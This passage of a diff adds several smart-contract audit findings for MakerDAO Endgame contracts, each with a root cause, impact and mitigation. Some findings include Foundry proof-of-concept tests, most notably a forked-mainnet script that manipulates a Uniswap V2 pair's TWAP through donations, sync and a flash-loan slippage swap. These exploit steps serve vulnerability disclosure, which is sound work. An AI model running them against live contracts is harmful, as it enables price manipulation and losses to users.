"free" the user's funds in ``urnFarm`` and ``voteDelegate``, but after that it is not reset to address(0).** + +**Then, when the user does ``lock`` again. It will send user funds to the previous ``urnFarm`` and ``voteDelegate`` addresses without user permission.** + +Check this out [_lock](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L322-L338): +```solidity +function _lock(address urn, uint256 wad, uint16 ref) internal { + require(urnOwners[urn] != address(0), "LockstakeEngine/invalid-urn"); + require(wad <= uint256(type(int256).max), "LockstakeEngine/overflow"); + address voteDelegate = urnVoteDelegates[urn]; + if (voteDelegate != address(0)) { + mkr.approve(voteDelegate, wad); +=> VoteDelegateLike(voteDelegate).lock(wad); + } + vat.slip(ilk, urn, int256(wad)); + vat.frob(ilk, urn, urn, address(0), int256(wad), 0); + lsmkr.mint(urn, wad); + address urnFarm = urnFarms[urn]; + if (urnFarm != address(0)) { + require(farms[urnFarm] == FarmStatus.ACTIVE, "LockstakeEngine/farm-deleted"); +=> LockstakeUrn(urn).stake(urnFarm, wad, ref); + } + } +``` + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- User funds are sent to unwanted ``urnFarm`` and ``voteDelegate`` addresses. + +- Although the user can change this after or before locking again, this actually violates the user's policy and wishes. + +- Before "lock" again; the user calls ``selectVoteDelegate`` and ``selectFarm`` first to address zero, then calls ``selectVoteDelegate`` and ``selectFarm`` again to the desired address. This consumes a lot of effort and time. + +- After "lock" again; the user calls ``selectVoteDelegate`` and ``selectFarm`` to the desired address. But if he does not want previous funds to be sent to the unwanted ``urnFarm`` and ``voteDelegate`` addresses for some reason. So, this violates the user policy. + +### PoC + +- paste the code below into LockstakeEngine.t.sol +- run with ``forge test -vv --match-test test_lock_again_after_free`` +```solidity +function test_lock_again_after_free() public { + address andi = makeAddr("andi"); + deal(address(mkr), andi, 100_000 * 10 ** 18); + vm.startPrank(andi); + mkr.approve(address(engine), 100_000 * 10 ** 18); + + address urnAndi = engine.open(0); + address voteDelegate_andi = voteDelegateFactory.create(); + engine.lock(urnAndi, 100_000 * 10 ** 18, 5); + // lock to voteDelegate_andi + engine.selectVoteDelegate(urnAndi, voteDelegate_andi); + assertEq(mkr.balanceOf(voteDelegate_andi), 100_000 * 10 ** 18); + + engine.free(urnAndi, andi, 100_000 * 10 ** 18); + assertEq(mkr.balanceOf(voteDelegate_andi), 0); + console.log("andi's fund in old voteDelegate after free:", mkr.balanceOf(voteDelegate_andi)); + + deal(address(mkr), andi, 100_000 * 10 ** 18); + mkr.approve(address(engine), 100_000 * 10 ** 18); + engine.lock(urnAndi, 100_000 * 10 ** 18, 5); + assertEq(mkr.balanceOf(voteDelegate_andi), 100_000 * 10 ** 18); + console.log("andi lock again, but the funds sent were to the old voteDelegate:", mkr.balanceOf(voteDelegate_andi)); + } +``` + +### Mitigation + +- Reset ``urnFarm`` and ``voteDelegate`` addresses after free +```solidity + function _free(address urn, uint256 wad, uint256 fee_) internal returns (uint256 freed) { + require(wad <= uint256(type(int256).max), "LockstakeEngine/overflow"); + address urnFarm = urnFarms[urn]; + if (urnFarm != address(0)) { +- LockstakeUrn(urn).withdraw(urnFarm, wad); // remove this code ++ _selectFarm(urn, wad, urnFarm, address(0), 0); + } + lsmkr.burn(urn, wad); + vat.frob(ilk, urn, urn, address(0), -int256(wad), 0); + vat.slip(ilk, urn, -int256(wad)); + address voteDelegate = urnVoteDelegates[urn]; + if (voteDelegate != address(0)) { +- VoteDelegateLike(voteDelegate).free(wad); // remove this code ++ _selectVoteDelegate(urn, wad, voteDelegate, address(0)); + } + uint256 burn = wad * fee_ / WAD; + if (burn > 0) { + mkr.burn(address(this), burn); + } + unchecked { freed = wad - burn; } // burn <= wad always + } +``` diff --git a/104.md b/104.md new file mode 100644 index 0000000..d50d08f --- /dev/null +++ b/104.md @@ -0,0 +1,341 @@ +Itchy Slate Boa + +High + +# tampering NST-NGT TWAP price during migration + +### Summary + +The `https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol` only check if the uniswap V2 pair contract has a total supply of 0 or not, to continue the migration `https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol#L50`, and during this migration the uniswap v2 pair will record the price during initialization, its essentialy setting up the initial price, and when the next _update() call happened in the pair, it will record how long those price hold, and update the price0cummulative, and price1cummulative. these variable can be used by other contract or off-chain actor to get the TWAP price of an asset in a certain time-frame. + +These steps are: +1. create a pair for these 2 assets +2. donate these 2 assets to the pair (this steps essentialy setting up the initial price of these assets) +3. call sync() in the pair contract +4. voila this pair has an initial price, while maintaining the total supply 0. + +step 2 is the most important part + +The problem is the UniV2PoolMigration contract didn't check whether or not the price0cummulative, and price1cummulative, of the pool is already initialize or not, or the reserve0 and reserve1 is empty or not, this makes other people can initialize the price for the assets with whatever they want, which make other contract or off-chain actor to get bad price data, especially during the initial migration process. + +Since this is a new asset, most CEX probably will not provided the CEX oracle data, and the oracle will use the malicious TWAP price of the uniswap v2 pair instead, which can be attacked during migration. This will definitely has an effect for the whole ecosystem of maker, especially on the NST and NGT assets. + +### Root Cause + +missing reserve0 and reserve1 check in the The `https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol` + +### Internal pre-conditions + +A whale can trigger and tamper the TWAP price of the uniswap V2 Pair NGT-NST + +### External pre-conditions + +a whale can trigger and tamper the TWAP price of the uniswap V2 Pair NGT-NST + +### Attack Path + +1. A whale donated funds to the new NGT-NST pair contract +2. call sync() in the pair contract (this will set the initial price of an asset, without LP) +3. wait until the migration is called, the longer the better, because it means that price holds for more time, which means bringing down the price during migration. +4. FlashLoan some DAI from MCD_FLASH. +5. make a high slippage swap in the DAI_MKR pair +6. call init() in the UniV2PoolMigration.sol, which initialize the migration process. +7. change the MKR that we get from high slippage swap, to NGT +8. swap back to NST +9. change NST to DAI +10. payback the flashloan (zero fees in the MCD_FLASH) + +Now if the some actor tries to calculate the TWAP price for some time after migration, this will give an incorrect TWAP price. + +### Impact + +Wrong initial oracle price during migration. + +### PoC + + +I modified the Deployment.t.sol in the univ2-pool-migrator +```Solidity +pragma solidity ^0.8.16; + +import "dss-test/DssTest.sol"; + +import { UniV2PoolMigratorInit } from "deploy/UniV2PoolMigratorInit.sol"; +import { Twap } from "deploy/Twap.sol"; + + +import { NstDeploy } from "lib/nst/deploy/NstDeploy.sol"; +import { NstInit, NstInstance } from "lib/nst/deploy/NstInit.sol"; +import { NgtDeploy } from "lib/ngt/deploy/NgtDeploy.sol"; +import { NgtInit, NgtInstance } from "lib/ngt/deploy/NgtInit.sol"; + +interface ChainlogLike { + function getAddress(bytes32) external view returns (address); +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); + function totalSupply() external view returns (uint256); + function approve(address, uint256) external; + function transfer(address, uint256)external; +} + +interface UniV2FactoryLike { + function createPair(address, address) external returns (address); +} + +//Added for testing +interface UniV2Pair { + function price0CumulativeLast() external view returns (uint256); + function price1CumulativeLast() external view returns (uint256); + function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast); + function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; + function sync()external; + function balanceOf(address) external view returns (uint256); + function token0()external view returns(address); + function token1()external view returns(address); +} + +interface ITwap { + function snapshot(address)external; + function getTwap(address)external returns(uint256, uint256, uint256, uint256); +} + +interface MkrNgtLike { + function mkrToNgt(address, uint256) external; +} + +contract DeploymentTest is DssTest { + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + address constant UNIV2_DAI_MKR_PAIR = 0x517F9dD285e75b599234F7221227339478d0FcC8; + address constant UNIV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address PAUSE_PROXY; + address DAI; + address MKR; + address NST; + address NGT; + address UNIV2_NST_NGT_PAIR; + + address random_dude; + address mkrNgt; + ITwap twap; + + function setUp() public { + random_dude = makeAddr("random_dude"); + + + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + + vm.rollFork(20461687); // to make testing consistent between before and after + + DssInstance memory dss = MCD.loadFromChainlog(LOG); + + PAUSE_PROXY = ChainlogLike(LOG).getAddress("MCD_PAUSE_PROXY"); + + NstInstance memory nstInst = NstDeploy.deploy(address(this), PAUSE_PROXY, ChainlogLike(LOG).getAddress("MCD_JOIN_DAI")); + // NgtInstance memory ngtInst = NgtDeploy.deploy(address(this), PAUSE_PROXY, ChainlogLike(LOG).getAddress("MCD_GOV"), 1200); + NgtInstance memory ngtInst = NgtDeploy.deploy(address(this), PAUSE_PROXY, ChainlogLike(LOG).getAddress("MCD_GOV"), 2400); + + + vm.startPrank(PAUSE_PROXY); + NstInit.init(dss, nstInst); + NgtInit.init(dss, ngtInst); + vm.stopPrank(); + + DAI = ChainlogLike(LOG).getAddress("MCD_DAI"); + MKR = ChainlogLike(LOG).getAddress("MCD_GOV"); + NST = ChainlogLike(LOG).getAddress("NST"); + NGT = ChainlogLike(LOG).getAddress("NGT"); + + //added + mkrNgt = ChainlogLike(LOG).getAddress("MKR_NGT"); + + UNIV2_NST_NGT_PAIR = UniV2FactoryLike(UNIV2_FACTORY).createPair(NST, NGT); + + + twap = ITwap(address(new Twap())); + } + + function testSetUp() public { + DssInstance memory dss = MCD.loadFromChainlog(LOG); + + //try tampering the uniswap Pair + //tamperingTwap(); + + //make high slippage swap + //highSlippageSwap(); + + vm.startPrank(PAUSE_PROXY); + UniV2PoolMigratorInit.init(dss, UNIV2_DAI_MKR_PAIR, UNIV2_NST_NGT_PAIR); + vm.stopPrank(); + + //return the Swap + //returnTheSwap(); + + twap.snapshot(UNIV2_NST_NGT_PAIR); + console.log("price0cummulative"); + console.log(UniV2Pair(UNIV2_NST_NGT_PAIR).price0CumulativeLast()); + console.log("price1cummulative"); + console.log(UniV2Pair(UNIV2_NST_NGT_PAIR).price1CumulativeLast()); + + vm.warp(block.timestamp + 600);// 10 minute forward + UniV2Pair(UNIV2_NST_NGT_PAIR).sync(); + + console.log("Get TWAP"); + (uint256 price0Average, uint256 price1Average, uint256 price0PerWAD, uint256 price1PerWAD) = twap.getTwap(UNIV2_NST_NGT_PAIR); + console.log(price0Average); + console.log(price1Average); + console.log(price0PerWAD); + console.log(price1PerWAD); + + } + + + function highSlippageSwap()internal { + deal(DAI, random_dude, 100_000_000e18); + uint256 amountIn = GemLike(DAI).balanceOf(random_dude); + + console.log(amountIn); + + (uint256 reserve0, uint256 reserve1,) = UniV2Pair(UNIV2_DAI_MKR_PAIR).getReserves(); + //dai token0, mkr teken1 + uint256 amount1Out = _getAmountOut(amountIn, reserve0, reserve1); + + vm.startPrank(random_dude); + GemLike(DAI).transfer(UNIV2_DAI_MKR_PAIR, amountIn); + UniV2Pair(UNIV2_DAI_MKR_PAIR).swap(0, amount1Out, random_dude, ""); + vm.stopPrank(); + + console.log("MKR BALANCE"); + console.log(GemLike(MKR).balanceOf(random_dude)); + } + + function returnTheSwap()internal { + uint256 mkrAmount = GemLike(MKR).balanceOf(random_dude); + + vm.startPrank(random_dude); + GemLike(MKR).approve(mkrNgt, type(uint256).max); + MkrNgtLike(mkrNgt).mkrToNgt(random_dude, mkrAmount); + uint256 amountIn = GemLike(NGT).balanceOf(random_dude); + vm.stopPrank(); + + console.log("\namount In"); + console.log(amountIn); + + (uint256 reserve0, uint256 reserve1,) = UniV2Pair(UNIV2_NST_NGT_PAIR).getReserves(); + address token0 = UniV2Pair(UNIV2_NST_NGT_PAIR).token0(); + (uint256 reserveIn, uint256 reserveOut) = token0 == NGT ? (reserve0, reserve1): (reserve1, reserve0); + + uint256 amountOut = _getAmountOut(amountIn, reserveIn, reserveOut); + (uint256 amount0Out, uint256 amount1Out) = reserveIn == reserve0 ? (uint256(0), amountOut) : (amountOut, uint256(0)); + + vm.startPrank(random_dude); + GemLike(NGT).transfer(UNIV2_NST_NGT_PAIR, amountIn); + UniV2Pair(UNIV2_NST_NGT_PAIR).swap(amount0Out, amount1Out, random_dude, ""); + vm.stopPrank(); + + console.log("NST BALANCE"); + console.log(GemLike(NST).balanceOf(random_dude)); + } + + function _getAmountOut(uint256 amtIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint256 amtOut) { + uint256 _amtInFee = amtIn * 997; + amtOut = _amtInFee * reserveOut / (reserveIn * 1000 + _amtInFee); + } + + function tamperingTwap()internal { + deal(NST, random_dude, 10_000_000e18); + deal(NGT, random_dude, 1); + vm.startPrank(random_dude); + GemLike(NST).transfer(UNIV2_NST_NGT_PAIR, 10_000_000e18); + GemLike(NGT).transfer(UNIV2_NST_NGT_PAIR, 1); + UniV2Pair(UNIV2_NST_NGT_PAIR).sync(); + vm.stopPrank(); + + vm.warp(block.timestamp + 7 days);//we tamper the price 7 day before migration, the longer the better + } +} +``` + +and i also make a simple twap contract to check the average price of an asset +```Solidity +pragma solidity >=0.8.0; + +interface IERC20 { + function balanceOf(address) external view returns (uint256); + function totalSupply() external view returns (uint256); + function approve(address, uint256) external; + function transfer(address, uint256) external; +} + +interface IUniV2Pair { + function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); + function price0CumulativeLast() external view returns (uint); + function price1CumulativeLast() external view returns (uint); +} + +library UQ112x112 { + uint224 constant Q112 = 2**112; + + // encode a uint112 as a UQ112x112 + function encode(uint112 y) internal pure returns (uint224 z) { + z = uint224(y) * Q112; // never overflows + } + + // divide a UQ112x112 by a uint112, returning a UQ112x112 + function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { + z = x / uint224(y); + } +} + +contract Twap { + using UQ112x112 for uint224; + + uint256 public snapshotPrice0Cummulative; + uint256 public snapshotPrice1Cummulative; + + uint32 public lastSnapshotTime; + + + function getTimeElapsed()internal view returns(uint32 t){ + unchecked { + t = uint32(block.timestamp % 2**32) - lastSnapshotTime; + } + } + + function snapshot(address pair)public { + (, , lastSnapshotTime) = IUniV2Pair(pair).getReserves(); + snapshotPrice0Cummulative = IUniV2Pair(pair).price0CumulativeLast(); + snapshotPrice1Cummulative = IUniV2Pair(pair).price1CumulativeLast(); + } + + function getTwap(address pair)public returns(uint256 price0, uint256 price1, uint256 price0PerWAD, uint256 price1PerWAD){ + uint32 timeElapsed = getTimeElapsed(); + + uint8 resolution = 112; + uint256 WAD = 1e18; + + uint256 recentPrice0 = IUniV2Pair(pair).price0CumulativeLast(); + uint256 recentPrice1 = IUniV2Pair(pair).price1CumulativeLast(); + + unchecked { + price0 = (recentPrice0 - snapshotPrice0Cummulative) / timeElapsed; + price1 = (recentPrice1 - snapshotPrice1Cummulative) / timeElapsed; + price0PerWAD = uint112((price0 * WAD) >> resolution); + price1PerWAD = uint112((price1 * WAD) >> resolution); + } + } +} + +``` + +In this POC the random_dude, does lose some funds during this attack, However, manipulating TWAP price usually cost a lot more on a pair that already stabilize. + +### Mitigation + +add another check in the UniV2PoolMigratorInit.sol, before continuing with the migration. +```Solidity +require(GemLike(pairNstNgt).reserve0() == 0, "UniV2PoolMigratorInit reserve0 != 0"); +require(GemLike(pairNstNgt).reserve1() == 0, "UniV2PoolMigratorInit reserve1 != 0"); +``` diff --git a/105.md b/105.md new file mode 100644 index 0000000..1dfd08d --- /dev/null +++ b/105.md @@ -0,0 +1,78 @@ +Petite Arctic Mule + +Medium + +# The LockStakeClipper Take function prices the Dutch auction incorrectly based on a stale market price + +## Summary +The LockStakeClipper dutch auction mechanism incorrectly calculates the Take() price based on the price at the time the auction started rather than an updated oracle price. This distorts the Dutch auction logic (since liquidator profitability depends on the auction price diff from the **current** market price) leading to either bad debt or loss for liquidated URN owners as explained below. + +## Vulnerability Detail +The LockStakeClipper contract manages a Dutch auction, where collateral is offered for sale at a high starting price ('buf' percent above the market price) and gradually drops the price over time (using a formula defined in the AabacusLike calc contract) until the price makes the trade profitable enough for a liquidator to take the offer. + +The price is initialized in the kick() function (at the start of the auction) to the oracle market price plus the buf ratio. +```solidity +sales[id].tic = uint96(block.timestamp); + +uint256 top; +top = rmul(getFeedPrice(), buf); +require(top > 0, "LockstakeClipper/zero-top-price"); +sales[id].top = top; +``` + +When liquidators want to buy some of the collateral they call the Take() function. Inside take, the price the liquidator gets is given by the status function. This function passes the start price and elapsed time to the calc contract (AbacusLike) that applies a time-dependant price reduction to the price. Currently there are two implementations for the price reduction: linear price drop to zero over a given timeframe (linearDecrease), or an exponential drop every given number of seconds (StairstepExponentialDecrease). +```solidity +function status(uint96 tic, uint256 top) internal view returns (bool done, uint256 price) { + price = calc.price(top, block.timestamp - tic); + done = (block.timestamp - tic > tail || rdiv(price, top) < cusp); +} +``` + +The core of the issue is that the price calculation in Take() doesn't account for market price changes since the auction started. For a Take() call at time `t` it uses the formula +$Price_t = buf * OraclePriceAtAuctionStart * dutchAuctionDropRatio$ +instead of +$Price_t = buf * OraclePriceAtTime_t * dutchAuctionDropRatio$ + +For a liquidator, the profitability of a Take() is determined by +$liquidatorProfit = (marketPrice-acutionPrice) * mkrAmount$ +Therefore for them the auction price changes only matter in relation to the market price. + +### Numeric example +#### Starting state +1. Mkr price: 2300 Dai +2. Clipper buf: 1.1 (10%) +3. Clipper calc formula: 0.03% linear price drop per second. + +#### Scenario 1 - market price goes down +1. An auction starts with price 2300 * 1.1 = 2530 Dai/Mkr. Liquidator profit for 1Mkr: (2300-2530) * 1 = -230 +2. During the first 1000 secs the Mkr market price gradually drops 13% to 2001. +3. A liquidator calls Take after 1000 seconds. Auction price = 2530 * (1-0.0003 * 1000) = 1771. market price = 2001. Liquidator profit for 1Mkr: (1771-2001) * 1 = -230 +4. Because of the market price change the liquidator is still not profitable inspite of the Dutch auction dropping the price by 30%. This increases the chance that the URN enters bad debt status. + +#### Scenario 2 - market price goes up suddenly +1. An auction starts with price 2300 * 1.1 = 2530 Dai/Mkr. Liquidator profit for 1Mkr: (2300-2530) * 1 = - 230 +2. During the first 24 secs (2 blocks) the Mkr market price rises sharply by 10% to 2530. +3. A liquidator calls Take after 24 seconds. Auction price = 2530 * (1-0.0003 * 24) = 2512. market price = 2530. Liquidator profit for 1Mkr: (2530-2512) * 1 = 18 +4. Because of the market price change, liquidation profitability rises much faster than the Dutch auction intended, causing loss for the URN owner through having their collateral sold for a worse (higher) price than they could have obtained with a real Dutch auction. + +### Likelihood +Since liquidations typically happen in times of high price volatility, the likelihood of sharp price movements during an auction is high, increasing the risk of distorted Dutch auction pricing (see impact below) + +### Root Cause +Using a stale Mkr oracle price when calculating a take() price, instead of fetching an updated price. + +## Impact +1. In scenario 1 - loss to Vat users in the form of bad debt (accumulated over time can reach 5% of assets or more) +2. In scenario 2 - loss to liquidated URN owners. In times of high price volatility, the price for which the URN collateral is sold can easily be lower by 10% or more compared to the attainable price with accurate Dutch auction pricing, causing a loss of over 10% to the liquidated party. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L348 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L464 + +## Tool used + +Manual Review + +## Recommendation +Inside the Take function, apply buf to the **current** oracle price and pass that to the calc.price funcion instead of using the `top` value from the auction start: +$Price_t = buf * OraclePriceAtTime_t * dutchAuctionDropRatio$ \ No newline at end of file diff --git a/107.md b/107.md new file mode 100644 index 0000000..4e5f8e3 --- /dev/null +++ b/107.md @@ -0,0 +1,171 @@ +Fantastic Spruce Perch + +Medium + +# Leftover dust debt can cause liquidation auction to occur at significantly lowered price + +## Summary +Using `frob` to refund the gem inside `onRemove` can disallow liquidations due to dust check + +## Vulnerability Detail +When an auction is removed (on completetion) from the clipper, the leftover amount of the auction if any, is refunded back to the user by calling the `onRemove` method + +[gh link](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L415-L420) +```solidity + + function take( + uint256 id, // Auction id + uint256 amt, // Upper limit on amount of collateral to buy [wad] + uint256 max, // Maximum acceptable price (DAI / collateral) [ray] + address who, // Receiver of collateral and external call address + bytes calldata data // Data to pass in external call; if length 0, no call is done + ) external lock isStopped(3) { + + ..... + + } else if (tab == 0) { + uint256 tot = sales[id].tot; + vat.slip(ilk, address(this), -int256(lot)); +=> engine.onRemove(usr, tot - lot, lot); + _remove(id); + } else { +``` + +After burning the associated fees, the remaining amount is credited to the urn by invoking `vat.slip` and `vat.frob` +[gh link](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L438-L454) +```solidity + function onRemove(address urn, uint256 sold, uint256 left) external auth { + uint256 burn; + uint256 refund; + if (left > 0) { + burn = _min(sold * fee / (WAD - fee), left); + mkr.burn(address(this), burn); + unchecked { refund = left - burn; } + if (refund > 0) { + // The following is ensured by the dog and clip but we still prefer to be explicit + require(refund <= uint256(type(int256).max), "LockstakeEngine/overflow"); + vat.slip(ilk, urn, int256(refund)); +=> vat.frob(ilk, urn, urn, address(0), int256(refund), 0); + lsmkr.mint(urn, refund); + } + } + urnAuctions[urn]--; + emit OnRemove(urn, sold, burn, refund); +``` + +But incase the urn's current debt is less than debt, the `frob` call will revert +[gh link](https://github.com/makerdao/dss/blob/fa4f6630afb0624d04a003e920b0d71a00331d98/src/vat.sol#L173) +```solidity + function frob(bytes32 i, address u, address v, address w, int dink, int dart) external { + + .... + + require(either(urn.art == 0, tab >= ilk.dust), "Vat/dust"); +``` + +This will cause the complete liquidation to not happen till there is no leftover amount which would occur at a significantly low price from the expected/market price. The condition of `tab >= ilk.dust` can occur due to an increase in the dust value of the ilk by the admin + +Example: +initial dust 10k, mat 1.5, user debt 20k, user collateral worth 30k +liquidation of 10k debt happens and dust was increased to 11k +now the 15k worth collateral will only be sold when there will be 0 leftover (since else the onRemove function will revert) +assuming exit fee and liquidation penalty == 15% +in case there was no issue, user would've got ~(15k - 11.5k liquidation penalty included - 2k exit fee == 1.5k) back, but here they will get 0 back +so loss ~= 1.5k/30k ~= 5% + +### POC +Apply the following diff and run `forge test --mt testHash_liquidationFail` +```diff +diff --git a/lockstake/test/LockstakeEngine.t.sol b/lockstake/test/LockstakeEngine.t.sol +index 83fa75d..0bbb3fa 100644 +--- a/lockstake/test/LockstakeEngine.t.sol ++++ b/lockstake/test/LockstakeEngine.t.sol +@@ -86,6 +86,7 @@ contract LockstakeEngineTest is DssTest { + + function setUp() public { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); ++ vm.rollFork(20407096); + + dss = MCD.loadFromChainlog(LOG); + +@@ -999,6 +1000,66 @@ contract LockstakeEngineTest is DssTest { + } + } + ++ function testHash_liquidationFail() public { ++ // config original dust == 9k, update dust == 11k, remaining hole == 30k, user debt == 40k ++ // liquidate 30k, 10k remaining, update dust to 11k, and increase the asset price/increase the ink of user ie. preventing further liquidation ++ // now the clipper auction cannot be fulfilled ++ vm.startPrank(pauseProxy); ++ ++ dss.vat.file(cfg.ilk, "dust", 9_000 * 10**45); ++ dss.dog.file(cfg.ilk, "hole", 30_000 * 10**45); ++ ++ vm.stopPrank(); ++ ++ address urn = engine.open(0); ++ ++ // setting mkr price == 1 for ease ++ vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1 * 10**18))); ++ // mkr price == 1 and mat = 3, so 40k borrow => 120k mkr ++ deal(address(mkr), address(this), 120_000 * 10**18, true); ++ mkr.approve(address(engine), 120_000 * 10**18); ++ engine.lock(urn, 120_000 * 10**18, 5); ++ engine.draw(urn, address(this), 40_000 * 10**18); ++ ++ uint auctionId; ++ { ++ // liquidate 30k ++ vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.98 * 10**18))); // Force liquidation ++ dss.spotter.poke(ilk); ++ assertEq(clip.kicks(), 0); ++ assertEq(engine.urnAuctions(urn), 0); ++ auctionId=dss.dog.bark(ilk, address(urn), address(this)); ++ assertEq(clip.kicks(), 1); ++ assertEq(engine.urnAuctions(urn), 1); ++ } ++ ++ // bring price back up (or increase the ink) to avoid liquidation of remaining position ++ { ++ vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1.2 * 10**18))); ++ } ++ ++ // update dust ++ vm.startPrank(pauseProxy); ++ ++ dss.vat.file(cfg.ilk, "dust", 11_000 * 10**45); ++ ++ vm.stopPrank(); ++ ++ // attempt to fill the auction completely will fail now till left becomes zero ++ assert(_art(cfg.ilk,urn) == uint(10_000*10**18)); ++ ++ address buyer = address(888); ++ vm.prank(pauseProxy); dss.vat.suck(address(0), buyer, 30_000 * 10**45); ++ vm.prank(buyer); dss.vat.hope(address(clip)); ++ assertEq(mkr.balanceOf(buyer), 0); ++ // attempt to take the entire auction. will fail due to frob reverting ++ ++ vm.prank(buyer); ++ vm.expectRevert("Vat/dust"); ++ clip.take(auctionId, 100_000 * 10**18, type(uint256).max, buyer, ""); ++ } ++ ++ + function _forceLiquidation(address urn) internal returns (uint256 id) { + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.05 * 10**18))); // Force liquidation + dss.spotter.poke(ilk); + +``` + +## Impact +Even in an efficient liquidation market, a liquidated user's assets will be sold at a significantly lower price causing loss for the user. If there are extremely favourable conditions like control of validators for block ranges/inefficient liquidation market, then a user can self liquidate oneself to retain the collateral while evading fees/at a lowered dai price (for this the attacker will have to be the person who `takes` the auction once it becomes `takeable`). Also the setup Arbitrage Bots will loose gas fees by invoking the take function + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L438-L454 + +## Tool used +Manual Review + +## Recommendation +Use `grab` instead of `frob` to update the gem balance \ No newline at end of file diff --git a/109.md b/109.md new file mode 100644 index 0000000..6a7b1ca --- /dev/null +++ b/109.md @@ -0,0 +1,56 @@ +Fantastic Spruce Perch + +Medium + +# create2 collision can break urn's ilk balance assumption causing unliquidateable/withdrawable positions + +## Summary +User's can make lockstake positions to be non-withdrawable/liquidateable by making a tiny donation of gem. This is possible by obtaining a create2 collision for an urn + +## Vulnerability Detail +Urn's are implemented with an assumption that they have as much lsMkr and mkr as their `ink` balance in the vat + +[for ex:](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L422-L427) +```solidity + function onKick(address urn, uint256 wad) external auth { + // Urn confiscation happens in Dog contract where ilk vat.gem is sent to the LockstakeClipper + (uint256 ink,) = vat.urns(ilk, urn); + uint256 inkBeforeKick = ink + wad; + _selectVoteDelegate(urn, inkBeforeKick, urnVoteDelegates[urn], address(0)); + _selectFarm(urn, inkBeforeKick, urnFarms[urn], address(0), 0); +``` + +But this assumption can be broken if a user manages to donate gems to an urn. Although under normal conditions this is prevented by only the lockstakeengine having access to the urn's gems, a user can make use of create2 collision to preapprove access to another address. create2 collision is achieveable here since the urn's are created with a user controllable salt reducing the required combinations for brute force to the order of ~2^80. This create2 collision feasibility is discussed in this past issue [here](https://github.com/sherlock-audit/2023-12-arcadia-judging/issues/59) + +[gh link](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L238-L241) +```solidity + function open(uint256 index) external returns (address urn) { + require(index == usrAmts[msg.sender]++, "LockstakeEngine/wrong-urn-index"); + uint256 salt = uint256(keccak256(abi.encode(msg.sender, index))); + bytes memory initCode = _initCode(); +``` + +After finding a collision, an attacker can deploy a contract to the urn address, call `vat.hope` to approve another user to spend its gems/ink and then selfdestruct itself so that the actual urn can be deployed to the same address. Then a user can move the gems freely and perform donations to their own positions to avoid liquidation and also to other user's positions to cause dos for them (ie. unable to change their votes/farms unless they exit fully, paying the fees etc with votes being sensitive) + +Similarly a create2 collision found for votedelegate contract will allow a user to lock the funds of all the delegators by setting an approval for the IOU token early and then moving it later to another address causing the withdraw function of chief to revert since that much amount of IOU tokens are not present to burn +```solidity + function free(uint wad) + public + note + { + require(block.number > last[msg.sender]); + deposits[msg.sender] = sub(deposits[msg.sender], wad); + subWeight(wad, votes[msg.sender]); + IOU.burn(msg.sender, wad); +``` +## Impact +A user ready to work on finding a collision can avoid future liquidations and also DOS other user's in withdrawing funds + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L242 + +## Tool used +Manual Review + +## Recommendation +Keep an internal accounting for the locked assets/avoid create2 for urn creation \ No newline at end of file diff --git a/110.md b/110.md new file mode 100644 index 0000000..ce8124c --- /dev/null +++ b/110.md @@ -0,0 +1,51 @@ +Interesting Tiger Mole + +Medium + +# Authorizing malicious users through rely() may lead to the protocol being compromised. + +### Summary + +Because the function freeNoFee() can only be called by an address which was both authorized on the contract by governance and for which the urn owner has called hope. +If the address is controlled by a malicious user, it can revoke the auth permissions of other addresses. + +### Root Cause + +freeNoFee(address urn, address to, uint256 wad) - Withdraw wad amount of MKR from the urn to the to address without paying any fee. This will undelegate the requested amount of MKR (if a delegate was chosen) and unstake it (if a farm was chosen). It will require the user to pay down debt beforehand if needed. This function can only be called by an address which was both authorized on the contract by governance and for which the urn owner has called hope. +If the address is controlled by a malicious user, it can revoke the auth permissions of other addresses. + 